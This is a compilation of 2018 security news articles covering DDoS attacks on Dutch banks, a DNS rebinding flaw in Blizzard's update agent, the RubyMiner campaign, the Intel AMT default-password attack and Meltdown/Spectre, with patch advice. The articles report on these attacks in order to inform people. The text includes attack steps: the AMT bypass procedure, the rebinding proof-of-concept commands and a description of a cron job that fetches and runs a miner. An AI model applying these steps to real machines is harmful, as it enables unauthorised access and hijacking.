Three Dutch Banks (ABN AMRO, ING Bank, Rabobank) and Tax Agency were targeted by a coordinated DDoS Attacks a few days the revelation of the Russian APT Hack.
Early this week a massive DDoS attack targeted three Dutch banks, ABN AMRO, ING Bank, Rabobank, and the Dutch Taxation Authority (Belastingdienst).

The attack against the system of ABN AMRO started over the weekend, while both ING Bank and Rabobank suffered coordinated DDoS attacks on Monday.
while the other two banks were hit on Monday.
The DDoS attacks caused severe accessibility problems to the bank infrastructure, they prevented customers from accessing the web services.

The attack against the Dutch Tax Authority prevented taxpayers filing tax-related documents.

DDoS%20attack%20three%20dutch%20banks%20ABN_AMRO_Hoofdkantoor_04

Who is behind the attack?

According to security experts from ESET, the origins of the attacks are servers in Russia.

“The DDoS attacks that hit ABN Amro, ING and Rabobank over the weekend and on Monday, came from servers in Russia, according to security company ESET. The company adds that this does not automatically mean that the perpetrators are also in Russia, the Telegraaf reports.” states NL Times.

“The perpetrators used a so-called botnet – an army of hijacked computers and smart devices – to commit the DDoS attacks. Using the program Zbot, they remotely ordered these devices to visit a certain site en masse, thereby overloading the site’s server and crashing the site. The command and control servers are mainly in Russia, ESET determined.”

It is difficult to attribute the attack to a specific threat actor. anyway, the cybersecurity expert Richey Gevers noted that the attacks came a few days after the story of the Cozy Bear hack operated by the Dutch Intelligence Agency AIVD. According to Gevers, the DDoS attack peaked 40 Gbps in volume of traffic.


Rickey Gevers
@UID_
Hey fellow DFIR people. Jan 25th the story broke the Dutch Intelligence Agency AIVD hacked Cozy Bear. At this moment critical Dutch infra is under (40Gbps) DDoS attack. Has anyone seen infected clients/network traffic performing a DDoS attack on Dutch infra? Please let me know.

7:51 PM - Jan 29, 2018
5 5 Replies 67 67 Retweets 57 57 likes
Twitter Ads info and privacy
The expert also added that the attackers powered the attacks using a botnet composed of home routers.

29 Jan

x0rz
@x0rz
Replying to @UID_
What are the source IPs? IoT devices?


Rickey Gevers
@UID_
The banks are not sharing much info. But they said some IPs look like routers. Thats all I know.

9:20 PM - Jan 29, 2018
Replies Retweets 2 2 likes
Twitter Ads info and privacy

The Ministry of Justice and Security called the attacks on the Dutch institutions very advanced, according to BNR. “But for example Dutch banks are known in Europe for having their cyber security in order. You often see that this provokes more advanced attacks. We are now fighting at a very high level”, the Ministry said. The Ministry can’t yet say who is behind these attacks.

Researchers from ESET claimed the attackers used the Zbot malware, a very old threat based on the infamous ZeuS banking trojan.

According to BNR, even is the malware is not complex, the Ministry of Justice and Security has classified the attacks on the Dutch institutions as very complex

“But for example Dutch banks are known in Europe for having their cyber security in order. You often see that this provokes more advanced attacks. We are now fighting at a very high level”, the Ministry said. The Ministry can’t yet say who is behind these attacks.


Top Dutch Banks, Revenue Service Hit by Cyber Attacks
30.1.2018 securityweek 
Attack
The top three banks in the Netherlands have been targeted in multiple cyber attacks over the past week, blocking access to websites and internet banking services, they said on Monday.

The Dutch Revenue Service was also briefly targeted on Monday by a similar attack, but services were quickly restored, a spokesman said.

The number one Dutch bank, ING, was hit by a so-called distributed denial of service (DDoS) attack on Sunday evening while the eurozone nation's third largest lender, ABN Amro, suffered three attacks over the weekend in a total of seven over the last week, Dutch media reported.

Rabobank, the country's number two lender, saw its internet banking services go down on Monday morning.

"We have been targeted by a DDoS attack since 9.10 am (0810 GMT) this morning (Monday) and our clients don't have access or very little access to online banking," Rabobank spokeswoman Margo van Wijgerden said. "We are working to resolve the problem as quickly as possible," she told AFP.

Also on Monday, the Dutch Revenue Services saw its website go down for about 10 minutes due to an attack, spokesman Andre Karels said.

"Things are running as normal and we are investigating the incident," Karels told AFP.

ING, which has some eight million private clients, experienced an attack on Sunday evening, it said on its website.

"During the DDoS attack ING's internet site was blasted with data traffic causing our servers to overload and which put pressure on the availability of online banking," ING said, adding services had been restored.

ABN Amro experienced a similar attack but also said services were restored. It will "keep monitoring availability and is extra alert since the weekend's attacks," it said in a statement.

The banks all stressed that clients' banking details were not compromised or leaked.

It is not the first time Dutch banks were targeted in a DDoS attack with central bank chief Klaas Knot telling a TV news programme Sunday there were "thousands of attacks a day" on his own institution.

"I think these (recent) attacks are serious, but our own website is being attacked thousands of times per day," Knot told the Buitenhof talk show. "That is the reality in 2018," he said.

*UPDATED with brief cyber attack on Dutch Revenue services


Google hacker found a critical flaw in Blizzard Games that expose millions of PCs to DNS Rebinding attacks
23.1.2018 securityaffairs 
Attack

The white hat hacker Tavis Ormandy discovered a severe flaw in Blizzard games that expose millions of PCs to DNS Rebinding attacks.
The notorious white hat hacker Tavis Ormandy at the Google’s Project Zero team made the headlines again, this time he discovered a severe flaw in Blizzard games that could be exploited by remote attackers to run malicious code on gamers’ computers.

The impact of the discovery is potentially amazing, millions of PC are at risk. Every month, roughly half a billion users play popular online games created by Blizzard Entertainment, including World of Warcraft, Overwatch, Diablo III, Hearthstone and Starcraft II.

blizzard%20games

Play the Blizzard games is very simple, players just need to install a client application, called ‘Blizzard Update Agent.‘ The application runs JSON-RPC server over HTTP protocol on port 1120, and “accepts commands to install, uninstall, change settings, update and other maintenance related options.”

“All blizzard games are installed alongside a shared tool called “Blizzard Update Agent”, investor.activision.com claims they have “500 million monthly active users”, who presumably all have this utility installed.” wrote Ormandy on a Chromium thread. “The agent utility creates an JSON RPC server listening on localhost port 1120, and accepts commands to install, uninstall, change settings, update and other maintenance related options. Blizzard use a custom authentication scheme to verify the rpc’s are from a legitimate source”

Ormandy demonstrated that the Blizzard Update Agent is vulnerable to ‘DNS Rebinding’ attack that allows any website to create a dns name that they are authorized to communicate with, and then make it resolve to localhost.

The local Blizzard updater service fails to validate what hostname the client was requesting and responds to such requests.

Practically, the website poses itself as a bridge between the external server and your localhost, “this means that *any* website can send privileged commands to the agent.”

The attackers can launch a DNS Rebinding attack to create a DNS entry to bind any attacker-controlled web page with 127.0.0.1 and trick users into visiting it, with this technique a hacker can remotely send privileged commands to the Blizzard Update Agent using JavaScript code.

Ormandy published a proof-of-concept exploit that executes DNS rebinding attack against Blizzard clients.

“I have a domain I use for testing called rbndr.us, you can use this page to generate hostnames: https://lock.cmpxchg8b.com/rebinder.html Here I want to alternate between 127.0.0.1 and 199.241.29.227, so I use 7f000001.c7f11de3.rbndr.us:

$ host 7f000001.c7f11de3.rbndr.us
7f000001.c7f11de3.rbndr.us has address 127.0.0.1
$ host 7f000001.c7f11de3.rbndr.us
7f000001.c7f11de3.rbndr.us has address 199.241.29.227
$ host 7f000001.c7f11de3.rbndr.us
7f000001.c7f11de3.rbndr.us has address 127.0.0.1" wrote Ormandy.
“Exploitation would involve using network drives, or setting destination to “Downloads” and making the browser install dlls, datafiles, etc. I made a very simple demo, I’m sure it’s quite brittle, but hopefully you get the idea! http://lock.cmpxchg8b.com/yah4od7N.html See screenshot attached of how it’s supposed to look.”

Blizzard%20Games%20Blizzard%20Update%20Agent%20is%20vulnerable%20DNS%20Rebinding

Ormandy reported the flaw to Blizzard in December, but after initially communication, Blizzard stopped responding his messages. According to the expert, the companyrolled out just partial mitigation in the client version 5996.

Ormandy was disappointed about the company’s behavior.

“Blizzard were replying to emails, but stopped communicating on December 22nd. Blizzard are no longer replying to any enquiries, and it looks like in version 5996 the Agent now has been silently patched with a bizarre solution.” wrote the expert.

“Their solution appears to be to query the client command line, get the 32-bit FNV-1a string hash of the exename and then check if it’s in a blacklist. I proposed they whitelist Hostnames, but apparently that solution was too elegant and simple. I’m not pleased that Blizzard pushed this patch without notifying me, or consulted me on this.”

Once Ormandy publicly disclosed the issue, Blizzard informed him that it addressed the bug with a more robust Host header whitelist fix that is currently under validation in a QA environment.


Crypto-Mining Attack Targets Web Servers Globally
18.1.2018 securityweek
Attack
A new malware family is targeting web servers worldwide in an attempt to ensnare them into a crypto-mining botnet, security researchers have discovered.

Dubbed RubyMiner, the threat was discovered last week, when it started launching massive attacks on web servers in the United States, Germany, United Kingdom, Norway, and Sweden. Within a single day, the attackers behind this malware attempted to compromise nearly one third of networks globally, Check Point revealed last week.

The purpose of the attack, which is targeting both Windows and Linux servers, is to install a Monero miner by exploiting old vulnerabilities that have been published and patched in 2012 and 2013. The attackers weren’t looking for stealth compromise, but attempted to compromise a large number of vulnerable HTTP web servers as quickly as possible.

The infection campaign is targeting vulnerabilities in PHP, Microsoft IIS, and Ruby on Rails. Despite the large number of compromise attempts observed, only 700 servers worldwide have been successfully enslaved within the first 24 hours of attacks.

The attack on Ruby on Rails attempts to exploit CVE-2013-0156, a remote code execution vulnerability. A base64 encoded payload is delivered inside a POST request, expecting the Ruby interpreter on the server to execute it.

The payload is a bash script designed to add a cronjob that runs every hour and downloads a robots.txt file containing a shell script, designed to fetch and execute the crypto-miner, but not before checking whether it is already active on the host. Not only the mining process, but the entire download and execution operation runs every hour.

“This is possibly to allow the attacker to initiate an immediate kill switch for the miner bot. If the attacker would like to end the process on the infected machines, all that needs to be done is modify the robots.txt file on the compromised webserver to be inactive. Within a minute, all the machines re-downloading the file will be receiving files without the crypto miners,” Check Point notes.

The deployed malware – on all infected servers – is XMRig, a Monero miner that was used in September 2017 in an attack exploiting a vulnerability in Microsoft IIS 6.0, the webserver in Windows Server 2003 R2.

One of the domains used in the newly observed infection campaign is lochjol.com, which was previously used in an attack in 2013. That attack abused the Ruby on Rails vulnerability as well, and also had some features common with the current incident, but the researchers couldn’t determine further connections between the two, especially with their purpose seemingly different.


New Intel AMT Security Issue Lets Hackers Gain Full Control of Laptops in 30 Seconds

17.1.2018 thehackernews Attack

It's been a terrible new-year-starting for Intel.
Researchers warn of a new attack which can be carried out in less than 30 seconds and potentially affects millions of laptops globally.
As Intel was rushing to roll out patches for Meltdown and Spectre vulnerabilities, security researchers have discovered a new critical security flaw in Intel hardware that could allow hackers to access corporate laptops remotely.
Finnish cyber security firm F-Secure reported unsafe and misleading default behaviour within Intel Active Management Technology (AMT) that could allow an attacker to bypass login processes and take complete control over a user's device in less than 30 seconds.
AMT is a feature that comes with Intel-based chipsets to enhance the ability of IT administrators and managed service providers for better controlling their device fleets, allowing them to remotely manage and repair PCs, workstations, and servers in their organisation.
The bug allows anyone with physical access to the affected laptop to bypass the need to enter login credentials—including user, BIOS and BitLocker passwords and TPM pin codes—enabling remote administration for post-exploitation.
In general, setting a BIOS password prevents an unauthorised user from booting up the device or making changes to the boot-up process. But this is not the case here.
The password doesn't prevent unauthorised access to the AMT BIOS extension, thus allowing attackers access to configure AMT and making remote exploitation possible.
Although researchers have discovered some severe AMT vulnerabilities in the past, the recently discovered issue is of particular concern because it is:
easy to exploit without a single line of code,
affects most Intel corporate laptops, and
could enable attackers to gain remote access to the affected system for later exploitation.
"The attack is almost deceptively simple to enact, but it has incredible destructive potential," said F-Secure senior security researcher Harry Sintonen, who discovered the issue in July last year.
"In practice, it can give a local attacker complete control over an individual’s work laptop, despite even the most extensive security measures."
According to the researchers, the newly discovered bug has nothing to do with the Spectre and Meltdown vulnerabilities recently found in the microchips used in almost all PCs, laptops, smartphones and tablets today.

To exploit this issue, all an attacker with physical access to a password (login and BIOS) protected machine needs to do is reboot or power-up the targeted PC and press CTRL-P during boot-up, as demonstrated by researchers at F-Secure in the above video.
The attacker then can log into Intel Management Engine BIOS Extension (MEBx) with a default password.
Here, the default password for MEBx is "admin," which most likely remains unchanged on most corporate laptops.
Once logged in, the attacker can then change the default password and enable remote access, and even set AMT's user opt-in to "None."
Now, since the attacker has backdoored the machine efficiently, he/she can access the system remotely by connecting to the same wireless or wired network as the victim.
Although exploiting the issue requires physical access, Sintonen explained that the speed and time at which it can be carried out makes it easily exploitable, adding that even one minute of a distraction of a target from its laptop is enough to do the damage.
"Attackers have identified and located a target they wish to exploit. They approach the target in a public place—an airport, a café or a hotel lobby—and engage in an 'evil maid' scenario," Sintonen says.
"Essentially, one attacker distracts the mark, while the other briefly gains access to his or her laptop. The attack doesn't require a lot of time—the whole operation can take well under a minute to complete."
Along with CERT-Coordination Center in the United States, F-Secure has notified Intel and all relevant device manufacturers about the security issue and urged them to address it urgently.
Meanwhile, users and IT administrators in an organisation are recommended to change the default AMT password of their device to a strong one or disable AMT if this option is available, and never leave their laptop or PC unattended in a public place.


Simple Attack Allows Full Remote Access to Most Corporate Laptops
17.1.2018 securityweek
Attack

Remote Attack Leverages Flaw in Intel AMT Technology

Attack is Simple to Exploit, Has Incredible Destructive Potential

Researchers have discovered a flaw in Intel's Advanced Management Technology (AMT) implementation that can be abused with less than a minute of physical access to the device.

An Evil Maid attack could ultimately give an adversary full remote access to a corporate network without having to write a single line of code.

The flaw was discovered by F-Secure senior security consultant Harry Sintonen, and disclosed today. It is unrelated to the "Apocalyptic AMT firmware vulnerability" disclosed in May 2017, or the current Meltdown and Spectre issues.

The new flaw is surprising in its simplicity. "It is almost deceptively simple to exploit, but it has incredible destructive potential," explains Sintonen. "In practice, it can give an attacker complete control over an individual's work laptop, despite even the most extensive security measures."

The problem is that setting a BIOS password (standard procedure) does not usually prevent access to the AMT BIOS extension -- the Intel Management Engine BIOS Extension (MEBx). Unless this separate password is changed, and usually it is not, the default 'admin' password will give the attacker access to AMT.

AMT is an out-of-band hardware-based remote management tool. It is chip-level and not dependent on software or an operating system. It requires only power and a connection. Its purpose is to give IT staff remote access to, and therefore control over, corporate devices; and is particularly useful for laptops used away from the office. It is found on computers with Intel vPro-enabled processors, and workstation platforms based on specific Intel Xeon processors -- in short, the vast majority of company endpoints.

If attackers have physical access to such a device, one need only boot up the device pressing CTRL-P during the process, and log in to MEBx with 'admin'. "By changing the default password, enabling remote access and setting AMT's user opt-in to "None", a quick-fingered cyber criminal has effectively compromised the machine," writes F-Secure.

The device itself might be considered secure, with a strong BIOS password, TPM Pin, BitLocker and login credentials -- but all of these can be bypassed remotely if the attackers are able to insert themselves onto the same network segment with the victim. "In certain cases," warns F-Secure, "the assailant can also program AMT to connect to their own server, which negates the necessity of being in the same network segment as the victim."

Once such an attack has succeeded, the target device is fully compromised and the attacker has remote ability to read and modify all data and applications available to the authorized user.

Although physical access is required for the attack, the speed with which it can be accomplished makes the Evil Maid attack (so-called because such attacks can be exploited in a hotel room if a device is left unattended for a brief period of time) a viable threat.

Sintonen describes a potential scenario. "Attackers have identified and located a target they wish to exploit. They approach the target in a public place -- an airport, a cafe or a hotel lobby -- and engage in an 'evil maid' scenario. Essentially, one attacker distracts the mark, while the other briefly gains access to his or her laptop. The attack doesn't require a lot of time -- the whole operation can take well under a minute to complete," Sintonen says.

Preventing such Evil Maid attacks is simple in principle, but complex in practice, requiring granular provisioning. AMT should be disabled for all devices that are unlikely to require it. Where it is required, each device needs to be provisioned with a strong password. This needs to be done for both new and currently deployed devices.

"It is recommended to query the amount of affected devices remotely, and narrow the list of assets needing attention down to a more manageable number. For computers connected to a Windows domain, provisioning can be done with Microsoft System Center Configuration Manager," suggests F-Secure. If any device is found to have an unknown password (in many cases this will be anything other than 'admin'), that device should be considered suspect and appropriate incident response procedures should be initiated.

Sintonen found the issue in July 2017. However, he also notes that Google's Parth Shukla mentioned it in an October 2017 presentation titled 'Intel AMT: Using & Abusing the Ghost in the Machine' delivered at Hack.lu 2017. Since awareness of the issue is already public knowledge, Sintonen recommends that organizations tackle the problem as soon as possible.


Industrial Firms Increasingly Hit With Targeted Attacks: Survey
5.1.2018 securityweek
Attack
An increasing number of companies in the industrial sector have experienced a targeted attack, according to a survey conducted by Kaspersky Lab and B2B International.

As part of its 2017 IT Security Risks Survey, Kaspersky talked to more than 5,200 representatives of small, medium and large businesses in 29 countries about IT security and the incidents they deal with.

Of the 962 industrial companies surveyed, 28% said they had faced a targeted attack in the last 12 months. This represents an 8 percentage point increase compared to the previous year.

“The fact that the most dangerous incident type has grown by more than a third strongly suggests that cybercriminal groups are paying much closer attention to the industrial sector,” Kaspersky said.

More than half of industrial organization surveyed by Kaspersky reported being hit by malware attacks in the last year.

Industrial%20sector%20attacks

A majority of industrial sector respondents claimed that the security incidents they experienced were complex, and nearly half admitted that there is insufficient insight into the threats they face.

Roughly one-third of companies reported that it had taken them several days to detect an incident, while 20% said it had taken them several weeks.

While 62% believe sophisticated security software is necessary to address potential threats, almost half of respondents also noted that staff has not followed IT security policies. The number of people who blamed staff in the industrial sector is 6% higher compared to other sectors that took part in Kaspersky’s survey.

“Cyberattacks on industrial control systems have become the indisputable number-one concern. The good news is that the majority of industrial market players know which threats are coming to the fore today and will be relevant in the near future,” explained Andrey Suvorov, Head of Critical Infrastructure Protection Business Development at Kaspersky.

“That’s why it’s crucially important to implement a complex security solution that’s specifically designed to protect automated industrial environments, is highly flexible and configured in accordance with the technological processes of each organisation.”


Industry Reactions to Meltdown, Spectre Attacks: Feedback Friday
5.1.2018 securityweek
Attack
Researchers disclosed this week the details of two new attack methods allowing malicious actors to gain access to sensitive information stored in a device’s memory by exploiting security holes in Intel, AMD and ARM processors.

The attacks, known as Spectre and Meltdown, have already been addressed by several vendors, including Microsoft, Apple and Google, and Intel and others are also working on rolling out patches.

Billions of PCs, mobile devices and cloud instances are vulnerable to attacks leveraging the Spectre and Meltdown vulnerabilities, and some fear we will soon witness remote exploitation attempts.

Experts comment on the Meltdown and Spectre vulnerabilities

Industry professionals have commented on various aspects of Meltdown and Spectre, including their impact, what users and organizations need to do, and the lessons that can be learned.

And the feedback begins…

Sam Curry, Chief Security Officer, Cybereason:

“The recent revelation of a major chip design security flaw is quite technical and gets to the underlying architecture and interface of physical memory and virtual memory, which is a big part of all practical, modern computing. It’s important to note that no one is immune by default to this chip design flaw and that it may impact a wider set of chips and manufacturers over time. In trying to find ways of improving overall security in memory management, researchers have uncovered a very long running set of flaws that could mean the ability to exploit a lot of systems very deeply.

This is so fundamental that it’s likely they knew about the flaw, so it’s going to be important to watch how they handle the situation and how the narrative and history unfold. The chip vendors are playing this calmly, but this is likely the calm before the storm. It's too early to point fingers yet, but eyes are on the entire chip industry now. Also in spite of the early attention on Intel, this class of threats effects other chip sets. Now is the time for everyone in the chip game to take care of their own business. No excuses.”

Michael Daly, CTO, Cybersecurity & Special Missions, Raytheon:

“The Intel vulnerability reinforces the need for everyone to stay on top of the latest patches. We learned that hard lesson with the Wannacry attack that quickly spread to 150 countries.

In this case, the most immediate and significant risk exists in the cloud services provider environments and in private data centers. The threat seems to be the grabbing of passwords/hash-values and encryption keys from memory and then using these to install additional malware.

Until these systems can all be patched, it will be even more important to watch for unauthorized processes (applications) and other evidence of tampering, such as increased processor usage and file drops. When the patches are issued, their deployment should be prioritized because criminals and nation-state adversaries apparently have had a couple of months head start.”

Ryan Kalember, SVP, Cybersecurity Strategy, Proofpoint:

“Like most organizations, chip manufacturers have long prioritized speed over security—and that has led to a tremendous amount of sensitive data placed at risk of unauthorized access via Meltdown and Spectre. While the vast majority of computing devices are impacted by these flaws, the sky is not falling. Both vulnerabilities require an attacker to be able to run their code on the device they are attacking. The typical consumer is still vastly more likely to be targeted by something like a phishing email than a targeted attack exploiting Meltdown or Spectre. However, these vulnerabilities break down some of the most fundamental barriers computers use to keep data safe, so cloud providers need to act quickly to ensure that unauthorized access, which would be very difficult to detect, does not occur.

If there is some good news, it’s fortunate that these vulnerabilities were discovered and responsibly disclosed by respected researchers as opposed to being exploited in a large scale, potentially-damaging global attack.”

Bryce Boland, Asia Pacific Chief Technology Officer, FireEye:

“Vulnerabilities like this are extremely problematic because they permeate so much of the technology around us that we all rely upon. Resolving this issue will take time and incur costs. In many cases, this cost includes security risks, rectification effort and even computing performance.

These vulnerabilities can have big implications. Many services can be exposed and affected. Hardware vendors will address the underlying design issue, though vulnerable systems will likely remain in operation for decades. In the meantime, software vendors are releasing patches to prevent attackers from exploiting these vulnerabilities. This will also impact system performance which may have a cumulative effect in data centers for anyone using cloud services and the internet.

Large organizations will need to make a risk management decision as to how quickly they update their systems, as this can be disruptive and costly.

We are yet to understand the full impact of this development, and not all details are available. At this stage, exploitable code is not publicly available. Nation state hackers typically use these types of vulnerabilities to develop new attack tools, and that's likely in this case.”

Christian Vezina, Chief Information Security Officer, VASCO Data Security:

“What I find interesting is that with the ever increasing amount of software code of out there, security researchers are still discovering 20+ years old vulnerabilities. Unfortunately the processor level vulnerabilities that have been published recently seem to indicate a trend: Everyone drop what you are doing and start patching your systems [again].”

Ben Carr, Vice President of Strategy, Cyberbit:

“Vulnerabilities like Meltdown only highlight the breadth of the potential issue we face no matter the investment. Meltdown potentially affects Intel processors going back to 1995. While many are rushing to find a fix after the disclosure, one must admit that this is why nation state actors don’t really have to try that hard to find a way in. At its core, it just isn’t that difficult.

In the cybersecurity industry, we must realize that we have maxed out on our ability to lock down systems and networks. It has become critical that we look to ways not only to prevent but to defend.”

Michael Lines, VP of strategy, risk and compliance, Optiv:

“The Meltdown and Spectre security flaws are affecting billions of devices, but the fundamental challenges that organizations face remain the same as every other major vulnerability that has been announced. Fixing these security flaws is going to be a long-term issue to resolve because, one, patches are needed across a vast array of operating systems, and two, patches for Spectre are still to be developed and released.

These widespread vulnerabilities underscore the importance of having ongoing risk assessment processes in place, as well as well-oiled TVM processes – both as part of a robust information security program. Risk assessment should cover both awareness and management of the issue at the board and C-suite level. These flaws are going to bring a lot of ‘doom and gloom,’ but organizations’ ability to react in an efficient and predictable way is what is most critical. Don’t panic, prepare a rational plan based on patch availability and system sensitivity, execute your plan, and monitor progress.”

Prof. Yehuda Lindell, chief scientist and co-founder, Dyadic:

“The important take-away from these attacks is very simple - computation leaks secrets! There has been a huge body of work showing that secret cryptographic keys and private information can be stolen by running software on the same machine and utilizing the properties of modern complex processors that don’t provide true separation between processes. In the past it has been shown how the machine's cache and even clock can be used by one process to steal secrets from another. Meltdown and Spectre go a step further by utilizing the way that modern processors achieve speedups through something called “speculative execution”.

As a result, if you are computing on private information or carrying out cryptographic operations on a machine, and an attacker can run code on the same machine, then you are not safe. This includes the case that an attacker breaches your network, but is primarily of relevance in cloud environments where by definition different customers run their applications on the same machine.”

Jeff Tang, Senior Security Researcher, Cylance:

“The biggest impact is for companies relying on shared computing resources in the cloud - such as virtual private servers, virtual machines, and containers - which place them at higher risk of an attacker employing these new techniques to extract secrets (passwords, encryption keys, and other sensitive data). Administrators should check with their hosting provider to determine the appropriate steps to deploy mitigations which may include applying software updates and rebooting the virtual machine.

Administrators should prioritize patch testing and validation of the newly released Microsoft security update and deploy them to shared workstations and hypervisor based systems which are at higher risk of being targeted by attackers hoping to maximize their impact.”

Joseph Carson, Chief Security Scientist, Thycotic:

“The latest Intel, ARM and AMD chip security flaw is a major issue for multiple reasons, the security risk has the potential for simple code running in a web browser. This could allow for a cybercriminal to access sensitive data in protected memory which could include passwords, login keys or sensitive data that is typically protected. The patch of such a flaw is a major challenge as a firmware update typically requires a reboot so for servers running critical systems, this results in unplanned downtime. With the fix having a potential performance impact of up to 30%, this means critical systems already running at full power could require costly upgrades to ensure operational stability.

With these cyber risks, it means that most companies will approach patching systems with extreme caution as many companies still prioritise business operations over security issues. The impact for many companies not having the systems operational is sometimes greater than the risk of a cyberattack but cyberattacks do not come cheap either as seen with cyberattacks like WannaCry and NotPetya in 2017 costing some companies up to 300 million USD. The systems at higher risk are those that are internet connected, meaning they are easily accessible by cybercriminals and those systems used by employees, who regularly use them for browsing the internet, so these systems should be the priority for any organisation that takes cybersecurity seriously.”


[Guide] How to Protect Your Devices Against Meltdown and Spectre Attacks
5.1.2017 thehackernews 
Attack


Recently uncovered two huge processor vulnerabilities called Meltdown and Spectre have taken the whole world by storm, while vendors are rushing out to patch the vulnerabilities in its products.
The issues apply to all modern processors and affect nearly all operating systems (Windows, Linux, Android, iOS, macOS, FreeBSD, and more), smartphones and other computing devices made in the past 20 years.
What are Spectre and Meltdown?
We have explained both, Meltdown (CVE-2017-5754) and Spectre (CVE-2017-5753, CVE-2017-5715), exploitation techniques in our previous article.
In short, Spectre and Meltdown are the names of security vulnerabilities found in many processors from Intel, ARM and AMD that could allow attackers to steal your passwords, encryption keys and other private information.
Both attacks abuse 'speculative execution' to access privileged memory—including those allocated for the kernel—from a low privileged user process like a malicious app running on a device, allowing attackers to steal passwords, login keys, and other valuable information.
Protect Against Meltdown and Spectre CPU Flaws
Some, including US-CERT, have suggested the only true patch for these issues is for chips to be replaced, but this solution seems to be impractical for the general user and most companies.
Vendors have made significant progress in rolling out fixes and firmware updates. While the Meltdown flaw has already been patched by most companies like Microsoft, Apple and Google, Spectre is not easy to patch and will haunt people for quite some time.
Here's the list of available patches from major tech manufacturers:
Windows OS (7/8/10) and Microsoft Edge/IE
Microsoft has already released an out-of-band security update (KB4056892) for Windows 10 to address the Meltdown issue and will be releasing patches for Windows 7 and Windows 8 on January 9th.
But if you are running a third-party antivirus software then it is possible your system won’t install patches automatically. So, if you are having trouble installing the automatic security update, turn off your antivirus and use Windows Defender or Microsoft Security Essentials.
"The compatibility issue is caused when antivirus applications make unsupported calls into Windows kernel memory," Microsoft noted in a blog post. "These calls may cause stop errors (also known as blue screen errors) that make the device unable to boot."
Apple macOS, iOS, tvOS, and Safari Browser
Apple noted in its advisory, "All Mac systems and iOS devices are affected, but there are no known exploits impacting customers at this time."
To help defend against the Meltdown attacks, Apple has already released mitigations in iOS 11.2, macOS 10.13.2, and tvOS 11.2, has planned to release mitigations in Safari to help defend against Spectre in the coming days.
Android OS
Android users running the most recent version of the mobile operating system released on January 5 as part of the Android January security patch update are protected, according to Google.
So, if you own a Google-branded phone, like Nexus or Pixel, your phone will either automatically download the update, or you'll simply need to install it. However, other Android users have to wait for their device manufacturers to release a compatible security update.
The tech giant also noted that it's unaware of any successful exploitation of either Meltdown or Spectre on ARM-based Android devices.
Firefox Web Browser
Mozilla has released Firefox version 57.0.4 which includes mitigations for both Meltdown and Spectre timing attacks. So users are advised to update their installations as soon as possible.
"Since this new class of attacks involves measuring precise time intervals, as a partial, short-term mitigation we are disabling or reducing the precision of several time sources in Firefox," Mozilla software engineer Luke Wagner wrote in a blog post.
Google Chrome Web Browser
Google has scheduled the patches for Meltdown and Spectre exploits on January 23 with the release of Chrome 64, which will include mitigations to protect your desktop and smartphone from web-based attacks.
In the meantime, users can enable an experimental feature called "Site Isolation" that can offer some protection against the web-based exploits but might also cause performance problems.
"Site Isolation makes it harder for untrusted websites to access or steal information from your accounts on other websites. Websites typically cannot access each other's data inside the browser, thanks to code that enforces the Same Origin Policy." Google says.
Here's how to turn on Site Isolation:
Copy chrome://flags/#enable-site-per-process and paste it into the URL field at the top of your Chrome web browser, and then hit the Enter key.
Look for Strict Site Isolation, then click the box labelled Enable.
Once done, hit Relaunch Now to relaunch your Chrome browser.
Linux Distributions
The Linux kernel developers have also released patches for the Linux kernel with releases including versions 4.14.11, 4.9.74, 4.4.109, 3.16.52, 3.18.91 and 3.2.97, which can be downloaded from Kernel.org.
VMware and Citrix
A global leader in cloud computing and virtualisation, VMware, has also released a list of its products affected by the two attacks and security updates for its ESXi, Workstation and Fusion products to patch against Meltdown attacks.
On the other hand, another popular cloud computing and virtualisation vendor Citrix did not release any security patches to address the issue. Instead, the company guided its customers and recommended them to check for any update on relevant third-party software.


Intel, AMD Chip Vulnerabilities Put Billions of Devices at Risk
4.1.2018 securityweek
Attack
Details of "Meltdown" and "Spectre" Attacks Against Intel and AMD Chips Disclosed

Researchers have disclosed technical details of two new attack methods that exploit critical flaws in CPUs from Intel, AMD and other vendors. They claim billions of devices are vulnerable, allowing malicious actors to gain access to passwords and other sensitive data without leaving a trace.

There have been reports in the past few days about a critical flaw in Intel CPUs that allows an attacker to gain access to kernel space memory. It turns out that there are actually two different attacks and researchers say one of them impacts AMD and ARM processors as well.

AMD representatives have claimed that their products are not vulnerable, which has contributed to the company’s stock going up 7 percent. Intel released a statement saying that the vulnerabilities are not unique to its products after its shares lost 4 percent in value.

Meltdown and Spectre

The side-channel attacks, dubbed Meltdown and Spectre by researchers, allow malicious applications installed on a device to access data as it’s being processed. This can include passwords stored in a password manager or web browser, photos, documents, emails, and data from instant messaging apps.

Attacks can be launched not only against PCs, but also mobile devices and cloud servers. While there is no evidence of exploitation in the wild, researchers pointed out that the attacks don’t leave any traces in traditional log files and they are unlikely to be detected by security products – although security products may detect the malware that launches Meltdown and Spectre.

Meltdown was discovered independently by Jann Horn of Google Project Zero, researchers from Cyberus Technology, and a team from the Graz University of Technology in Austria. Spectre was found independently by Horn, and a group of experts from various universities and companies. Technical papers and proof-of-concept (PoC) code have been published for each of the attack methods, and Intel, Microsoft, ARM and Google Project Zero are expected to publish their own advisories.

Memory isolation mechanisms found in modern computer systems should normally prevent applications from reading or writing to kernel memory or accessing the memory of other programs. However, the Meltdown and Spectre attacks bypass these protections.Meltdown

Meltdown, named so because it “melts” security boundaries normally enforced by hardware, can be leveraged to read arbitrary kernel memory locations. A malicious unprivileged app can use it to read memory associated with other programs and even virtual machines in cloud environments. The vulnerability behind Meltdown is tracked as CVE-2017-5754.

Researchers say it’s unclear if Meltdown affects ARM and AMD processors, but it has been confirmed to impact nearly every Intel processor made since 1995, specifically CPUs that implement a system known as out-of-order execution.

Spectre, on the other hand, has been confirmed to affect not just Intel, but also AMD and ARM processors. However, AMD claims there is a “near zero risk” to its processors due to their architecture.

Desktops, laptops, smartphones and cloud servers are impacted, but the vulnerability is more difficult to exploit compared to Meltdown.

The attack has been named Spectre because its root cause is speculative execution and it will “haunt us for quite some time” due to the fact that it’s not easy to fix. The CVE identifiers CVE-2017-5753 and CVE-2017-5715 have been assigned to Spectre.Spectre

Spectre breaks isolation between different applications and it allows an attacker to trick programs that follow best practices to leak secrets stored in their memory.

“Meltdown breaks the mechanism that keeps applications from accessing arbitrary system memory. Consequently, applications can access system memory,” researchers explained. “Spectre tricks other applications into accessing arbitrary locations in their memory. Both attacks use side channels to obtain the information from the accessed memory location.”

Mitigations

Meltdown attacks can be prevented using kernel page table isolation (KPTI), a hardening technique designed to improve security by isolating the kernel space from user space memory. It’s based on the KAISER system developed last year by a team of researchers at Graz University.

